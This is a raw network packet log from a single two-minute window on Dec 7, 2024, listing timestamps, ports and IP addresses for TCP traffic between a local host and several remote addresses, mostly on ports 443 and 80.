Dec 7, 2024 15:06:11.337794065 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.393415928 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.429208994 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.433732986 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.551333904 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.551414967 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.553744078 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.585474968 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.589653015 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.649755001 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.649847984 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.653703928 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.709837914 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.745513916 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.747714996 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.835537910 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.837743998 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.888946056 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.901762962 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.931504965 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.965521097 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:11.965723038 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:11.989847898 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.051271915 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.059770107 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.062047005 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.135597944 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.135675907 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.154223919 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.226851940 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:12.226924896 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:12.230144978 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:12.257755995 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.260869980 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.301709890 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.301776886 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.304205894 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.327734947 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.331698895 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.349812984 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:12.374416113 CET	49673	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:12.423962116 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.449327946 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.449398041 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.452083111 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.519536018 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.522517920 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.616235018 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.616301060 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.619106054 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.643404007 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.646018982 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.680149078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:12.680198908 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:12.681940079 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:12.733786106 CET	49672	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:12.751563072 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.751617908 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.754745007 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.802198887 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:12.807895899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.810830116 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.883517027 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.883583069 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.886056900 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:12.921283960 CET	49676	443	192.168.2.8	52.182.143.211
Dec 7, 2024 15:06:12.943422079 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:12.945843935 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.043437958 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.043529034 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.046977043 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.075356960 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.077852964 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.121717930 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.121799946 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.121829033 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.121879101 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.122963905 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.135227919 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.135325909 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.137705088 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.197561979 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.235328913 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.238302946 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.242938995 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.319475889 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.319628954 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.322246075 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.389559031 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.392026901 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.450927019 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.451097965 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.456403017 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.550195932 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.553139925 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.562494040 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.562552929 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.562561035 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.562576056 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.562614918 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.562652111 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.562689066 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.562693119 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.562702894 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.562735081 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.562747002 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.570946932 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.570993900 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.572437048 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:13.623625994 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.623692036 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.626666069 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.642838001 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.645253897 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.692172050 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:13.742155075 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.745750904 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.748323917 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.765239954 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.845601082 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.848383904 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.938502073 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.941754103 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.944381952 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:13.957468987 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:13.959985971 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.011173964 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:14.013703108 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:14.032679081 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:14.032793999 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:14.060148954 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.061728001 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.064842939 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.079710007 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.149111986 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.152391911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:14.152443886 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.152465105 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:14.152551889 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:14.152560949 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:14.152693987 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:14.152730942 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:14.255661011 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.264472008 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.265794992 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.270569086 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.271965981 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.273217916 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.274888039 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.378268957 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.378391027 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.380918026 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.390486002 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.394587994 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.480101109 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.482860088 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.500823021 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.582593918 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.582657099 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.586647034 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.586695910 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.602574110 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.692972898 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.737695932 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.778491020 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.827559948 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.927560091 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:14.951742887 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.957607031 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.958108902 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.959899902 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.960262060 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:14.992110014 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:14.992168903 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.071795940 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.077538013 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.078043938 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.079616070 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.079966068 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.142530918 CET	443	49704	23.206.229.226	192.168.2.8
Dec 7, 2024 15:06:15.142607927 CET	49704	443	192.168.2.8	23.206.229.226
Dec 7, 2024 15:06:15.264724016 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.266117096 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.268618107 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.272114992 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.272196054 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.274024963 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.274873972 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.274935961 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.274950027 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.274996996 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.276979923 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.277075052 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.384407997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.388303995 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.393673897 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.396716118 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.396725893 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.458297968 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.461252928 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.561923027 CET	49677	80	192.168.2.8	192.229.211.108
Dec 7, 2024 15:06:15.581478119 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.585833073 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.588699102 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.588757992 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.590140104 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.592483997 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.592497110 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.592554092 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.592570066 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.592820883 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.595629930 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.596118927 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.701816082 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.701915979 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.701931953 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.701976061 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.706062078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.706135988 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.706170082 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.706217051 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.712464094 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.714509010 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.714592934 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.716001987 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.717823982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.717879057 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.717932940 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.717988968 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.726100922 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.726206064 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.726246119 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.726289034 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.734539986 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.734589100 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.734635115 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.734683990 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.743093967 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.743155003 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.777668953 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.780585051 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.829319000 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.829399109 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.829484940 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.829533100 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.833765984 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.833837986 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.833952904 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.834007978 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.842061043 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.842129946 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.842185974 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.842240095 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.850524902 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.850584984 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.850723028 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.850781918 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.859067917 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.861560106 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.893908024 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.893966913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.894058943 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.898185968 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.898320913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.898397923 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.904485941 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.906589031 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.906721115 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.906810045 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.907669067 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.907794952 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.907871008 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.909920931 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.912058115 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.912132025 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.912144899 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:15.912200928 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.914159060 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.914288044 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:15.915060997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.915157080 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.915169001 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.915209055 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.923496962 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.923556089 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.923598051 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.923686981 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.931988001 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.932049990 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.932090998 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.932173967 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.940449953 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.940499067 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.940510988 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.940547943 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.953569889 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.953613043 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.953620911 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.953679085 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.957825899 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.957875013 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.957875967 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.957922935 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.963361025 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.963417053 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.963438034 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.963488102 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.971843958 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.971894026 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.971963882 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:15.980262041 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.980359077 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:15.980428934 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.021445990 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.021523952 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.021550894 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.021600008 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.024817944 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.024879932 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.024912119 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.024964094 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.029622078 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.031280994 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.031333923 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.031372070 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.031418085 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.033977032 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.037900925 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.037957907 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.037995100 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.038047075 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.044512033 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.044569969 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.044600010 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.044661045 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.051012993 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.051071882 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.051147938 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.051199913 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.057719946 CET	80	49706	185.215.113.206	192.168.2.8
